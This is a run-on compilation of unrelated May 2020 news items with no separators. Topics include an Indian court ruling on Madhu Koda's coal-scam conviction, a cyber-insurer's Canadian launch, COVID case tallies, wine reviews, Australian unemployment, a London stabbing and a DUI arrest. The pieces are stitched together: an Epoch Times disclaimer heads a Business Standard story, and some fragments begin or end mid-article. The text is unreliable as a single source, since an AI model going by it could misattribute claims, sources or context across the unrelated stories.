Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
In a setback to former Jharkhand chief minister Madhu Koda, the Delhi High Court on Friday declined to stay his conviction in a coal scam case to enable him to contest elections, saying itwould not be apt to facilitate him to contest polls for any public office, till he is finally acquitted.

Justice Vibhu Bakhru said the wider opinion was that persons charged with crimes ought to be disqualified from contesting elections to public offices and therefore, it would not be apt to stay Koda's conviction to overcome the disqualification incurred by him.

Koda was held guilty of corruption and conspiracy, by a trial court in 2017, in allocation of a Jharkhand-based coal block to Kolkata-based company Vini Iron and Steel Udyog Ltd (VISUL).

He had moved the plea for stay of conviction to contest in the 2019 Jharkhand state assembly polls and the high court had reserved its verdict on his application on March 19.

The high court said,"It would not be apposite to facilitate the appellant (Koda) to contest elections for any public office, till he is finally acquitted."



Justice Bakhru further said that Koda had a prima facie case for seeking stay but "this Court is not persuaded to accept that his conviction is liable to be stayed on this ground alone".

"The appellant (Koda) has been convicted of an offence after trial. One of the consequences of the conviction is that the appellant is not qualified to run for public office. While it is contended that this would lead to injustice and irreversible consequences, the Court must also consider wider ramifications of the same," the high court said.

It further said that in recent times there has been an increasing demand that steps be taken for decriminalization of politics as "a large number of persons with criminal antecedents or who are charged with heinous crimes stand for and are elected to Legislative Assemblies and the Parliament".

"This has been a matter of some concern," it said and added that even the 244th Law Commission report had recommended that a person against whom the charges have been framed be disqualified from standing for elections.

"Clearly, if the wider opinion is that persons charged with crimes ought to be disqualified from contesting elections to public offices, it would not be apposite for this Court to stay the appellant's conviction to overcome the disqualification incurred by him," the high court said.

Koda had sought stay of his conviction on several grounds on of which was that the Prevention of Corruption Act was amended with effect from July 26, 2018 and as section 13(1)(d) of the statute has been deleted, the allegations of graft against him no longer constitute an offence and, therefore, he is "entitled to be acquitted by virtue of the doctrine of beneficial construction".

On this, the high court said it is "unable to accept that the PC (Amendment) Act, 2018 seeks to repeal the provisions of Section 13(1)(d) of the Act, as it existed prior to July 26, 2018 ab initio".

"Thus, there is no reason to assume that the legislative intent of repealing section 13 of the PC Act was to exclude the said offence from the scope of PC Act with retrospective effect," it added.

The high court further said in the present circumstances, "section 6(d) of the General Clauses Act is applicable and persons convicted of committing the offence of criminal misconduct under Section 13(1)(d) of the PC Act would not be absolved of their offences or the liability incurred prior to the PC Act coming into force".

"It is also relevant to note that the offence of criminal misconduct as falling under the provisions of Section 13(1)(d) of the PC Act prior to its amendment, is not the same offence as is now covered under the amended provision," it added.

Section 13(1)(d) of the law lays down the acts which would constitute criminal misconduct by a public servant.

Senior advocate R S Cheema and advocate Tarannum Cheema, appearing for CBI, opposed the plea and had said that the provisions of section 13(1)(d) of the PC Act did not necessarily require establishing that any illegal gratification had been demanded or paid to the public servant.

The high court agreed with the CBI's submission, saying" demand of an illegal gratification is a necessary condition for convicting a public servant for an offence of misconduct".

It also said that an offence under section 13(1)(d) of the PC Act "could also be established as a standalone offence".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Coalition, the cyber insurance and security managing general agent, announced it is offering its products and services to Canada-based businesses.

The San Francisco-based company described the offering as proactive cyber-security products and services as well as cyber and technology error & omissions insurance.

Coalition will offer to clients up to C$20 million (US$14.4 million) of comprehensive insurance coverage, supported by the financial strength of Swiss Re, to companies with up to C$1 billion in annual revenue.

Coalition said its online platform enables licensed insurance brokers to generate a quote in minutes and also provide their clients with access to Coalitions proprietary cyber-security tools and services that are designed to detect, mitigate, and contain threats at no additional cost.

Coalition this week announced it has raised $90 million in new venture financing to fuel development of new products and a global expansion.

Coalition said its global cyber-security platform provides businesses with risk management support, including help with preventing incidents in the first place, and support during and after a crisis.

Cyber risk is a global problem in need of a global solution, said Shawn Ram, head of Insurance at Coalition. The future of cyber security and insurance are integrated solutions to protect against cyber incidents across all asset types. Were excited to make this future a reality across the Canadian market.

Coalitions cyber solution includes:

Risk mitigation . Coalition provides free cyber-security tools to help businesses manage and mitigate cyber risk, and comprehensive cyber insurance to help them recover financially after an incident.

. Coalition provides free cyber-security tools to help businesses manage and mitigate cyber risk, and comprehensive cyber insurance to help them recover financially after an incident. Incident response. All policyholders receive 24/7/365 access to Coalitions in-house team of security and incident response experts. In addition, hand-picked partner firms (including public relations, legal, and crisis management experts) help client recover from cyber incidents.

All policyholders receive 24/7/365 access to Coalitions in-house team of security and incident response experts. In addition, hand-picked partner firms (including public relations, legal, and crisis management experts) help client recover from cyber incidents. Aligned incentives. Coalition is changing the paradigm in cybersecurity by aligning economic incentives with its customers. Unlike a traditional cybersecurity company, Coalition shares its customers incentives to prevent and mitigate losses.

In an emailed statement, Joshua Motta, CEO of Coalition, explained that Coalition has aligned incentives with customers because it is a cyber-security firm and an insurer.

Unlike cyber-security companies, which have little to no liability if they fail to protect a customers network, Coalition has up to 15 million reasons to prevent a loss. If an organization is breached, we cover the loss up to the $15 million full policy limit, which means were deeply invested in helping our customers prevent cyber incidents, and mitigate them when they occur.

Source: Coalition

Topics Cyber New Markets Canada
Minister of State for Education, Chukwuemeka Nwajiuba, has disclosed that there are plans to soon reopen schools nationwide, however, it wont happen in two weeks as being speculated in some quarters.

Nwajiuba, made the clarification on Thursday during the daily briefing of the Presidential Task Force on COVID-19, following rumors making the rounds the Federal Government would reopen schools in the next two weeks.

Nwajiuba said there is no exact date yet for schools to resume, adding that schools will be reopened after they are resourced properly.

READ ALSO  No Plans To Reopen Schools: Lagos Govt

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Speaking to Newsmen, Nwajiuba said: We all are seriously interested in reopening and I believe we will reopen soon.

But I cant confirm what your children said, that we will reopen in two weeks. The issue around reopening has nothing to do with the availability of the schools or not.

It has to do with national governance. The idea of shutting down the schools has nothing to do with the schools per se.
Our greatest value this week is seasonal - a rose - and a reminder that we should not take old friends for granted in our search for something new and unique. It has the added advantages of being cheap and widely available. We also have two French whites great for warmer weather, one each from Mediterranean and Atlantic shores. To round out the selection, we have a picnic-worthy red and a seafood-friendly white from Italy.

- La Vieille Ferme Rose 2019

Two stars

France, $9 for 750 milliliters; $15 for 1.5 liters; $25 for a three-liter box

The Perrin family has a long wine resume: the famous Chateau Beaucastel in Chateauneuf-du-Pape, their own family line of Rhone wines, and a partnership with Brad Pitt and Angelina Jolie with Miraval Rose. They are also partners with the Haas family of Vineyard Brands importers at Tablas Creek winery in California. So it might be easy to overlook La Vieille Ferme, a bargain brand the Perrin's introduced in 1967. That would be a mistake, as the wines continue to be quite good and cheap. The 2019 rose is delightful, with textbook flavors of strawberries and wild herbs. Buy the box - the equivalent of four bottles at $6.25 - and you'll have a party waiting for you every time you open your refrigerator. ABV: 13 percent.

- Da Capo Majoli Ruche di Castagnole Monferrato DOCG 2018

Two and one-half stars

Piedmont, Italy, $20

Ruche is a minor red grape from Piedmont, in northwestern Italy, a region best known for nebbiolo and dolcetto. This is a zesty, light-bodied red with flavors of maraschino cherries and wild sage. It has great acidity to make it food-friendly; try it with lighter- to medium-bodied dishes such as salads, vegetarian dishes or sandwiches. Slightly chilled, it's a great picnic wine. ABV: 13.5 percent.

- Jadix Picpoul de Pinet 2018/2019

Two stars

Languedoc, France, $13

Wines made from the picpoul grape tend to be refreshers - crisp, easy to quaff and simple. The Jadix adds a bit of body from aging on its lees to add to the notes of white flowers and pears. The vintage was also very ripe in 2019, adding to the alcohol level. Don't drink it too cold; you'll want that richness to express itself. The 2018, which is still available in parts of Virginia, is what winemakers like to call a "more classic vintage." Vegan. ABV: 14.5 percent.

- Biscaye Baie Sauvignon Blanc Cotes de Gascogne 2018/2019

Two stars

Gascony, France, $13

Gascony, in southwestern France, is known more for foie gras and armagnac, a type of brandy, than for wine. Crisp whites made from ugni blanc - the main grape distilled into armagnac - have been great value for summer quenchers for many years. This sauvignon blanc benefits from coastal influences from the Bay of Biscay and the shelter of the Pyrenees Mountains to the south. It offers a saline character, coupled with flavors of peach and passion fruit. The label notes the vineyards surround the medieval town of Condom, which Washington-area foodies may recognize as the hometown of the late chef Jean-Louis Palladin. I tasted the 2018, which is available in the District and Maryland. The Virginia distributor is now carrying the 2019. ABV: 12 percent.

- Uggiano Prestige Vermentino Toscano IGT 2018

Two stars

Tuscany, Italy, $17

This delicious medium-bodied white wine entices with scents of white flowers and a salinity that gets my mouth ready for seafood. Enjoy this with shrimp, scallops or calamari or mild cheeses. ABV: 13 percent.

- - -

Prices are approximate. Check Winesearcher.com to verify availability, or ask a favorite wine store to order through a distributor.
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By West Kentucky Star Staff

May. 22, 2020 | WESTERN KENTUCKY/SOUTHERN ILLINOIS

By West Kentucky Star Staff May. 22, 2020 | 04:55 PM | WESTERN KENTUCKY/SOUTHERN ILLINOIS

Several new cases of coronavirus were confirmed in western Kentucky and southern Illinois on Friday.



The Purchase District Health Department confirmed two new cases of COVID-19 in McCracken County and one new case in Fulton County. McCracken County has 89 individuals that have tested positive for COVID-19, Ballard has 9, Carlisle and Hickman each have 5, and Fulton has 3. There have been 67 recoveries and 2 deaths in McCracken, 8 recoveries in Ballard, 2 recoveries and 1 death in Carlisle, and 4 recoveries in Hickman.



The Graves County Health Department announced five new cases of the virus on Friday. Graves County is now reporting a cumulative total of 156 cases.



The Marshall County Health Department said it had no new positive cases to report on Friday. The total number of positive cases in Marshall County remains at 35 cases. Of those cases, 32 have fully recovered and 2 deaths have been reported.



In southern Illinois, the Southern Seven Health Department reported 13 new cases of the virus, including 1 individual in Massac County and 12 individuals in Union County. Currently, the Southern Seven is reporting a cumulative total of 199 cases, 78 recoveries, and 4 deaths.



Other health departments in the area have not reported any new cases at this time. This story will be updated as new information is received.
Japan share market finished lower for second straight session on Friday, 22 May 2020, as risk sentiments was hit on tracking weak lead from Wall Street overnight amid renewed tensions between the US and China and after China's plans to impose a new security legislation on Hong Kong.

At closing bell, the 225-issue Nikkei Stock Average declined 164.15 points, or 0.80%, to 20,388.16. The broader Topix index of all First Section issues on the Tokyo Stock Exchange slipped 13.41 points, or 0.9%, at 1,477.80.

Total 30 issues of 33 industry category of Topix index ended in negative territory, with Mining, Marine Transportation, Iron & Steel, Nonferrous Metals, Insurance, and Banks issues being notable losers, while Air Transportation and Other Financial Business issues were notable gainers.

The Tokyo market on the back foot amid renewed tensions between the US and China after the US Senate passed a bill aiming to delist Chinese companies from American exchanges. The Senate passed a bill aiming to delist Chinese companies from American exchanges. Lawmakers and the White House have repeatedly raised concerns about US-listed firms that may be under Chinese government control or receiving capital from state funds.

That measure was passed after President Donald Trump said in a tweet that the incompetence of China caused this mass Worldwide killing, referring to the coronavirus.

Market participants closely watched the opening session of China's National People's Congress, postponed from early March due to the virus pandemic, to see whether any policy would be announced that could further strain ties between the world's two largest economies.

Also weighing on sentiment was Beijing's plan to discuss a national security law for Hong Kong at the session to crack down on what it sees as subversive activity in the territory. The move drew a warning from US President Donald Trump, who said the United States would react "very strongly" against it.

Shares of SoftBank Group Corp advanced as the tech conglomerate said it plans to sell 5% of its domestic telco SoftBank Corp as part of a programme to raise $41 billion through asset sales.

Skylark Holdings shares slid after the restaurant chain operator cut its mid-year dividend estimate to zero, citing the need to preserve cash amid the coronavirus crisis.

CURRENCY: The U. S. dollar index, which tracks the greenback against a basket of its peers, was at 99.77 after seeing a decline this week from levels above 100. The Japanese yen traded 107.48 per dollar, off lows around 108 seen earlier in the trading week.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Anzor Salidjanov conducted an experiment in 2009 that changed his life. In the poky gallery within the ancient city of Bukhara where he sold monotonous paintings of minarets, donkeys, and camel trains to tourists, Salidjanov decided to hang a couple of his photographs. The experiment inspired me, he told RFE/RL, because on the same day one of the photos was sold.

Soon after that first sale, Salidjanov rented a small studio where he could make money from shooting passport photos and continued pounding the streets of his beloved hometown with his camera, hunting for the elusive moments when light and life combine to create photographic magic.

To complete his professional transition to photographer, Salidjanov adopted the emir-like pseudonym Anzor Bukharsky (Anzor of Bukhara).

But becoming a photographer in Uzbekistan was far from easy. Bukharsky explained to RFE/RL why there are so few good photographs made of his countrys culture and public life, especially from before 2016 when the country was ruled by the authoritarian former communist, Islam Karimov. Photographers were simply afraid to shoot on the street. Any policeman could easily detain the shooter and haul him off to the police station. Ive had dozens of cases when I had to write explanatory notes for why I shot photos in a square or a market. Then the pictures themselves were deleted after being carefully studied for signs of espionage.

Bukharsky says he is not interested in the tropes of photojournalism where conflict is sought out between outsiders and society, individuals against the state, etc. Instead of conflict, Bukharsky says, Im looking for harmony. The harmony of light, shadow, color, lines, and events.

Sergey Ponomarev, a New York Times contributing photographer and multiple World Press Photo award winner, is one of thousands who follow Bukharskys work on Facebook. He told RFE/RL: I see [Bukharsky] as a real character. I enjoy reading his texts from time to time. I don't know many Uzbek photographers from Bukhara and this makes him more outstanding.

In 2009, Bukharsky became the first Uzbek photographer invited to exhibit at the Venice Biennale arts festival. He has since been invited to several photography events around the world. But traveling in and out of Uzbekistan as an artist is rarely a smooth ride.

As Bukharsky was returning to Uzbekistan from Latvia in 2015, he says an Uzbek border guard pulled an external hard drive out of his backpack, asking, Whats in here? Porn? Bukharsky says: I explained to the customs officer, 'Now its not necessary to carry such material around. Everything can be streamed online. The officer was unmoved and took the hard drive full of Bukharskys photos away for an investigation.

For Bukharsky, who does not speak English, travel troubles dont end at the border. He described being woken up in the middle of the night in a Miami hotel room in 2017 with a woman banging on his door screaming what sounded like, Open up, you bastard! I know youre in there! I looked at the phone on the nightstand and wondered how can I explain to the police that I need help? I dont know English," he recalled. Bukharsky said he made a plan to dial 911 and then name the hotel and my room number and scream SOS! The scene eventually ended with the door thumper rousing a neighboring guest and disappearing inside.

The photographer says Bukharans love their minaret, and he is no exception. "Sometimes my visiting friends raise their eyebrows in surprise, saying: 'It seems we were here yesterday!' To which I reply: 'I am in my apartment every day. But that doesnt stop me from returning there again and again.'"

Bukharsky has been photographing Romany communities in Uzbekistan for the past decade and says: I am a welcome guest in almost any [Romany] home, glory be to Allah.

Bukharsky, who is a single father with two girls, told RFE/RL that one of his Romany friends suggested he marry a relative of his, explaining that you can sit at home or go out and take photos. Your wife will always feed you.

Bukharsky says capturing an honest photographic record of Uzbekistan through the political paranoia and societal changes over the past decade was a small miracle. But he dreams bigger. Much bigger.

In 2017, Bukharsky told an Uzbek journalist that he envisions for his future a new apartment with a large 6-meter balcony that faces the setting sun ('Ive already looked at it. Im bargaining now,' he says.) Lots of travel, exhibitions, presentations, books, world fame, money -- in bags. Fans pick up my red Lamborghini with me inside and carry it in their arms. And let a big friendly Uzbek family with numerous children and powerful relatives live in my old apartment and live happily.
Roddy Alves made a rare outing in London on Thursday amid lockdown to meet up with a handsome male companion.

Showing off all her curves in a form-fitting blue mini dress, the 36-year-old looked more comfortable in her skin than ever before.

Rodrigo, who is a transgender woman and formerly referred to as The Human Ken Doll, told MailOnline she was so excited to see friend that she forgot to keep two metres apart apart.

Stand apart!!! Roddy Alves wore a tight blue mini dress to meet her handsome friend Claudio on Thursday but forgot to stick to the two metre social distancing rule

Air kisses: Coming over with a bottle of wine, Roddy told MailOnline she has hardly left her home at all during lockdown

She said: 'It's my bad really, I have been stuck inside my home for so long, it was just habit and I kissed and hugged Claudio, who is my hairdresser at Harrods.

'I've been using this time to start thinking about finally changing my name and getting things in order with that.'

Roddy said taking hormones have meant that her voice has changed significantly and her hips have become wider, however she feels a little bloated.

Becoming herself: Roddy said taking hormones have meant that her voice has changed significantly and her hips have become wider, however she feels a little bloated

More to come: She said: 'I've been using this time to start thinking about finally changing my name and getting things in order with that'

She said: 'I wear a waist trainer under my clothes to hold me in, otherwise I feel too self-conscious. I am still getting used to my new body but I've gained 3kgs in lockdown.'

Roddy said that the coronavirus pandemic has meant that any future plastic surgeries have been put on hold.

She said: 'I also have a scar on my cleavage and that's from an old nose job. They removed cartilage there to rebuild my nose, but it was botched and I still cannot breathe.'

'I'm trying to enjoy life in a different way without the surgeries and to try to be happy with what I've got.'

Roddy has so far spent more than 600k on cosmetic surgery but has said that she wishes she hadn't spent so much time 'trying to be the perfect man.'

She has since said that she now wishes she had started her transition to become a woman much sooner.

Getting a quick trim? Roddy was delighted see Claudio who is her hairdresser at Harrods
Unemployment has surged the most in areas of Australia that weren't necessarily dependent on foreign tourists or overseas university students for survival.

Australia's national unemployment rate is expected to hit double-digit figures for the first time since the early 1990s aftermath of the last recession, following the COVID-19 shutdown of non-essential businesses and possible trade sanctions from China.

In some pockets of Australia, however, joblessness is already at levels that haven't been seen on a national level since the 1930s Great Depression.

Toowoomba, a Bible-belt city west of Brisbane, has been worst affected by coronavirus with its jobless rate surging by five percentage points to 12.2 per cent in April, to have Australia's worst unemployment, official figures showed. Pictured is Toowoomba Wellcamp Airport which opened in 2015

Toowoomba, Queensland

Toowoomba, a Bible-belt city west of Brisbane, has been worst affected by coronavirus with its jobless rate surging by five percentage points to 12.2 per cent in April, to have Australia's worst unemployment, official figures showed.

It is also home to the new Toowoomba Wellcamp Airport, which opened in 2015, with Cathay Pacific flying agricultural produce from the Darling Downs to Hong Kong.

Brisbane and the Gold Coast

Brisbane's inner-city saw its jobless rate almost double, surging from five per cent to nine per cent.

It is also home to the University of Queensland, which derives 14 per cent of its revenue from Chinese international students, a Centre for Independent Studies analysis last year showed.

Queensland is home to seven of Australia's 15 areas with the highest unemployment.

CommSec senior economist Ryan Felsman said the Sunshine State has been the hardest hit economically by coronavirus.

Brisbane's inner-city saw its jobless rate almost double, surging from five per cent to nine per cent. Pictured is the Story Bridge

'Of course, the tourism industry - a large employer in the Sunshine State - has been severely impacted by the closure of the state's borders to both domestic and international tourists,' he said.

Australia's joblessness hot spots Toowoomba, Queensland: 12.2 per cent Mid-North Coast, NSW: 11.8 per cent Shepparton, Victoria: 10.8 per cent Wide Bay, Queensland: 10.2 per cent Brisbane east, Queensland: 9.8 per cent Adelaide north, South Australia: 9.6 per cent Outback Queensland: 9.6 per cent Ipswich, Queensland: 9.4 per cent Brisbane inner-city: 9 per cent Melbourne west, Victoria: 8.8 per cent Source: Australian Bureau of Statistics unemployment data for April, CommSec Advertisement

'And Queensland has a relatively large manufacturing sector compared to the national average.'

Brisbane's east saw its jobless rate surge from 6.4 per cent to 9.8 per cent.

Less than an hour's drive south, the Gold Coast's jobless rate rose from 4.1 per cent, a level below the national average in March, to 6.5 per cent in April, putting it marginally above the national average.

In just one month, 22,700 jobs were lost, the third highest in Australia in absolute terms.

North of Brisbane, the Wide Bay area has Australia's third highest jobless rate of 10.2 per cent, and includes the cities of Hervey Bay and Bundaberg near Fraser Island, the world's largest sand island.

New South Wales Mid-North Coast

The New South Wales Mid-North Coast saw its jobless rate surge by 2.9 percentage points, to 11.8 per cent - the second highest in Australia.

The area north of Sydney has seen some of Australia's biggest house prices increases, with Coff Harbour's median value surging by 43.1 per cent in the five years to December 2019, a Propertyology analysis of CoreLogic data showed.

The New South Wales Mid North Coast saw its jobless rate surge by 2.9 percentage points, to 11.8 per cent - the second highest in Australia. The area north of Sydney has seen some of Australia's biggest house prices increases, with Coff Harbour's (Big Banana pictured) median value surging by 43.1 per cent in the five years to December 2019

It wasn't the only area on the NSW Mid-North Coast to see real estate values soar, with Nambucca Heads prices climbing 46.4 per cent as Kempsey prices rose 48.2 per cent.

Shepparton, Victoria

Shepparton north-east of Melbourne has Australia's third highest unemployment rate of 10.8 per cent.

The city in northern Victoria is also home to Australia's only face mask factory.

Demand was so urgent in March for its locally-made alternative to Chinese imports that army personnel were deployed to the Med-Con's production line.

'We were making about maybe two million masks a year and all of a sudden now we're potentially looking at, with added machines, making as much as 50 million masks a year,' the company's chief executive Steve Csiszar told the ABC's 7.30 program at the time.

Shepparton north-east of Melbourne has Australia's third highest unemployment rate of 10.8 per cent. The city in northern Victoria is also home to Australia's only face mask factory (pictured is the Med-Con production line)

Sydney and Melbourne

Melbourne's affluent south-east saw 25,300 jobs lost in April, Australia's highest in absolute terms, which saw the jobless rate rise from 6.1 per cent to 8.1 per cent.

Sydney's inner south-west, which includes the migrant suburbs of Lakemba and Greenacre, lost 24,400 jobs, giving it a jobless rate of 7.9 per cent - the 15th highest in Australia.

COVID-19 labour market at a glance Unemployment: it surged from 5.2 per cent in March to 6.2 per cent in April - the highest since September 2015 Number unemployed climbed by 104,500 to 823,300 In April, 489,800 people left the labour force, which meant 594,300 either lost their job or gave up looking for one Underemployment soared by 4.9 percentage points to record 13.7 per cent Tally of underemployed Australians surged by 603,300 to 1.8million Participation rate plunged by an unprecedented 2.4 percentage points to 63.5 per cent Source: Australian Bureau of Statistics Advertisement

A short drive farther away from the city, Sydney's south-west lost 12,500 jobs, giving it an unemployment level of eight per cent.

The economy

Australia's jobless rate in April rose by one percentage point to 6.2 per cent - the highest since September 2015 as a result of the COVID-19 shutdowns.

Like the Reserve Bank of Australia, Treasury is expecting the official jobless rate to hit 10 per cent by June, the highest since April 1994.

The Australian Bureau of Statistics regards 823,300 people as being officially unemployed where they are on JobSeeker and are actively searching for work as they receive $1,115.70 a fortnight with a temporary, six-month $550 coronavirus supplement.

Last month, 489,800 also left the labour force in despair at being unable to find employment and didn't necessarily go on the dole.

This means 1.3million people don't have a job, whether they are searching for one or have given up trying to.

Underemployment soared by 4.9 percentage points to record 13.7 per cent as working hours fell 9.2 per cent.
Source: Xinhua| 2020-05-23 00:49:57|Editor: huaxia

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SARAJEVO, May 22 (Xinhua) -- Prirodno bilje (Natural Herbs) is the first company in Bosnia and Herzegovina (BiH) allowed to produce and export industrial hemp, the state-owned Federal News Agency (FENA) reported on Friday.

The company, based in Banja Luka, some 190 kilometers northwest of the capital Sarajevo, has received the exporting license from the Ministry of Agriculture of Republika Srpska (RS), one of BiH's two entities.

The company's owner, Nedeljko Kusturic, said he had already secured a deal with a company in Germany, which is ready to buy their future crops.

Prirodno bilje produces about 150 tons of various medical herbs and aromatic spices, mostly for the domestic market.

Marijuana and hemp are varieties of cannabis, developed due to selective breeding -- marijuana for its narcotic components and hemp for its fiber. All varieties of cannabis have been banned throughout the world since the 1960s as it was listed as dangerous drug by the United Nations (UN).

Over the past decades, several nations have recognized the industrial and medical values of hemp. To date, over 20 countries have legalized or decriminalized cannabis.

"More than 200 products are made from industrial hemp. Its seed is used in the food industry. Hemp is also used in construction as an insulation material. Pellets and briquettes for heating are also produced from it as it has more calories than wood," Kusturic explained.

BiH has recently taken the first steps towards legalizing cannabis for industrial and medical use. The decision comes as more than 27,000 jobs have been lost in the country since the COVID-19 lockdown started in mid-March. Enditem
Within those (three) weeks, the federal government will not reimburse us, DWD spokesman Ben Jedd said May 7.

It was initially unclear whether the federal legislation would honor a retroactive provision in state legislation and provide reimbursement for benefits paid before lawmakers acted, but GOP legislative leaders were warned of the possibility it wouldnt be by Democratic members in the states federal delegation in a letter dated April 3, seven days after President Donald Trump signed the CARES Act into law.

The letter, sent to state Senate Majority Leader Scott Fitzgerald and Assembly Speaker Robin Vos, both Republicans, from U.S. Sen. Tammy Baldwin and U.S. Reps. Gwen Moore, Ron Kind and Marc Pocan, states that it is not clear that Wisconsin will be allowed to receive a full federal reimbursement for a payment that is not made during the beneficiarys first week of unemployment.

Why was it unclear if the bill had already been signed into law? And how seriously would Fitzgerald and Vos be expected to take a letter saying it was unclear if something would be allowed in a piece of legislation already signed into law?
Photo: CTV News

A warning has been issued by the Hospitality Vancouver Association (HVA), pointing to a bleak future for the city's nightclubs reports CTV News Vancouver.

HVA spokesperson Laura Ballance, who communicates with nearly every club owner in Vancouver, says it is "a dire situation," with thousands of employees being laid off with no guarantee of returning.

I dont see a path for more than 10 per cent of clubs surviving without some sort of assistance."

After two months of no revenue, Cabana Nightclub owner Dave Kershaw says it's tough to continue making bill payments with such a limited picture of the future, and is wondering whether it's worth continuing to invest in.

I wrestle with that question every day. Are we throwing good money after bad? If we have to pay full rent, basically everyone is done as of now.

"We're sort of flying blind, so it's pretty scary to be honest.

This is a perfect storm of factors that could see the demise of an industry thats so important to the city of Vancouver."

The federal government's pandemic relief program could contribute up to 75 per cent of commercial rent, but tenants can't apply, and owner of several clubs Paul Stoilen says they're having a hard time convincing landlords to do it.

We're not seeing a lot of landlords biting on it, and you know, frankly, that's very disappointing considering the extremely high rents in this city, Stoilen told CTV.

with files from CTV Vancouver
To the editor:

A May 14 letter to the editor contained several false statements. It is necessary to fact check everything  look for more than one source, and dont repeat what you've read on social media without verification.

The author stated the last three pandemics excluding HIV began in China, which is not true. Zika was first identified in Brazil. The H1N1 flu was first identified in the USA. Malaria is constantly present in certain areas. HIV originated in Africa. More than one pandemic originated in Asia, but certainly not all of the most recent.

The author stated the virus was spread by Chinese citizens traveling abroad. What evidence does he have? Citizens of many countries work in and visit China. It's just as likely the virus was spread by citizens returning to their home countries from China. The president claims he stopped flights from China, and direct flights were stopped, but people simply went through airports in other countries.

The author stated the COVID-19 virus has been traced to the Wuhan lab. While the president says there is evidence, most medical experts disagree and continue to say the virus is far more likely to have a natural origin, most likely bats. People can decide for themselves who is more likely to be correct, but it's always good to consider who benefits from their version.

The author stated WHO delayed world response. WHO first learned on Dec. 30 about a pneumonia-like illness in China, formed a task force on Jan. 1, and notified member nations on Jan. 5. The CDC issued alerts beginning on Jan. 6 and began screening passengers from Wuhan on Jan. 16. A week later, the first U.S. case was identified, and it was yet another week before the president formed the task force and banned travel from China. Blaming WHO for the delay is ludicrous.

The writer blamed China for hiding information about the epidemic, and he is correct. The Chinese government is known for suppressing unfavorable information. Sadly, much of the world believes the same is true about the U.S. government these days.

JAN BAUMGRAS

Midland
Vietnam has yet to decide on when it will officially declare victory over the novel coronavirus disease (COVID-19) epidemic as questions remain over how imported cases will affect general public health.

Prime Minister Nguyen Xuan Phuc ordered the Ministry of Health to delineate benchmarks for proclaiming an end of the epidemic at a meeting of the Standing Committee of the Vietnamese government last week.

The health ministry, however, has yet to respond to the request despite Friday morning marking the 36th day in a row that Vietnam has logged no new cases of community transmission.

The last infection detected in the community was a 16-year-old Vietnamese girl from the northern province of Ha Giang who was placed in quarantine on April 7 and confirmed positive for the virus on April 16.

The countrys patient tally currently sits at 324, with 266 recoveries and no deaths.

There have been 56 new COVID-19 cases in Vietnam since April 16, all of which were Vietnamese returnees from other countries, including 17 from the United Arab Emirates, 32 from Russia, two from Japan, one from the UK, one from Cambodia, one from the Philippines, and two from the United States.

Vietnams Law on Prevention and Control of Infectious Diseases decrees that an epidemic can be called off if no new cases of infection are detected after a certain period of time and other conditions specific to the epidemic, as prescribed by the prime minister, are met.

The period of time applicable to the COVID-19 epidemic is 28 days from when the last COVID-19 patient is quarantined, according to a decision signed by Prime Minister Nguyen Xuan Phuc on February 26.

The Law on Prevention and Control of Infectious Diseases, however, does not distinguish between community and imported infections, creating a grey area concerning the prerequisites for Vietnams declaration of the end of the epidemic in the country.

In many other countries, there is no law on criteria for declaring an outbreak and when to call it off.

A meeting of the National Committee on COVID-19 Prevention and Control on Thursday afternoon highlighted the importance of beefing up the control of transmission from overseas, especially Vietnamese citizens returning on repatriation flights, those entering Vietnam for diplomatic purposes and official duties, and incoming experts and workers.

The control of residents cross-border traveling via roadways was also requested to be maintained and strengthened as a man crossing the border illegally from Cambodia was recorded among Vietnams new imported COVID-19 cases.

The government has tasked local police with monitoring those in self-quarantine at their residences and representative offices, while military facilities shall manage overseas Vietnamese returnees and those placed under centralized quarantine.

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The first thing I did when I was home was change the ending of my forthcoming March 2002 novel. Instead of disappointment and grief, I ended it with uplift and hope. The second thing I did was scrap the novel I was writing and begin something new. I couldnt bear to be back in that hotel room in Denver in my mind, and so I began a different story. It wasnt about 9/11; this was only a week and a half after the cataclysm. None of us can really make sense of history as history is occurring.
T wo men have been rushed to hospital after two stabbings in east London which are believed to be linked.

Police were called to Roden Street in Ilford at 7.15pm on Thursday to a reports of a stabbing.

Officers and paramedics attended and found a man suffering from stab wounds.

He was taken to hospital and his injuries are thought to be serious, Met Police said.

Footage on social media shows a number of police officers rushing into a Sainsbury's store in the town centre.

A short time later, another man suffering from stab injuries called for ambulance from a house in Forest Gate.

He has also been taken to hospital in a serious condition.

Officers believe the two incidents are linked.

Two men have been arrested on suspicion of GBH and remain in police custody.

Any witnesses are asked to call police on 101 quoting CAD 8094/21 May or the independent charity Crimestoppers anonymously on 0800 555 111.
Zhang Yesui, spokesman for the third session of the 13th National People's Congress, briefs media at the Great Hall of the People on May 21. [WANG ZHUANGFEI / CHINA DAILY]

China's military spending is transparent and without concealed items, Zhang Yesui, spokesman for the third session of the 13th National People's Congress, said on Thursday night.

"Since 2007, China has reported its military spending to the United Nations each year. Everything, from where the money comes from, to how it is used, is accounted for," he said at a news conference. "So there is no such thing as 'hidden' military spending."

China's defense policy is defensive in nature and its defense spending is proportionate and restrained in terms of total size, per capita expenditure and proportion of GDP, he said.

The proportion of defense spending in the country's annual GDP has been kept at about 1.3 percent for many years, much lower than the world average rate of 2.6 percent, Zhang said.

"Compared with the world's largest spender on military affairs, the money China used for national defense in 2019 was only one quarter of that country's expenditure," he said. "When it comes to per capita terms, ours was one 17th of theirs."

China raised its defense budget by 7.5 percent in the 2019 fiscal year to nearly 1.19 trillion yuan ($177 billion), up from about 1.11 trillion yuan in fiscal 2018.
Hair pulling, twerking, and talking to people who werent there. These are all things that a Lancaster County woman is accused of doing after police had detained her on suspicion of driving while intoxicated, the York Daily Record reported Thursday.

Danielle Altomonte, 28, was stopped for speeding by a Northern York County Regional Police officer in the overnight hours Tuesday, according to the report.

Among the many details of the arrest reported by YDR, the officer said she tried to get into his car, and when he told her to return to her vehicle, she walked away taking off her shirt.

YDR reported a few moments later, and after some more struggling, she was handcuffed. Altomonte tried to pull away from the officer, began twerking and making lewd comments.

She also began talking to someone who was not there, police wrote, according to YDR.

Eventually, when police got Altomonte to the hospital for a blood draw, police said she pulled an employees ponytail hard enough that it yanked hairs out, YDR reported.

Online court dockets show Altomonte is charged with aggravated assault, disorderly conduct, criminal mischief, driving under the influence and public drunkenness. She was denied bail.

Read more on PennLive:
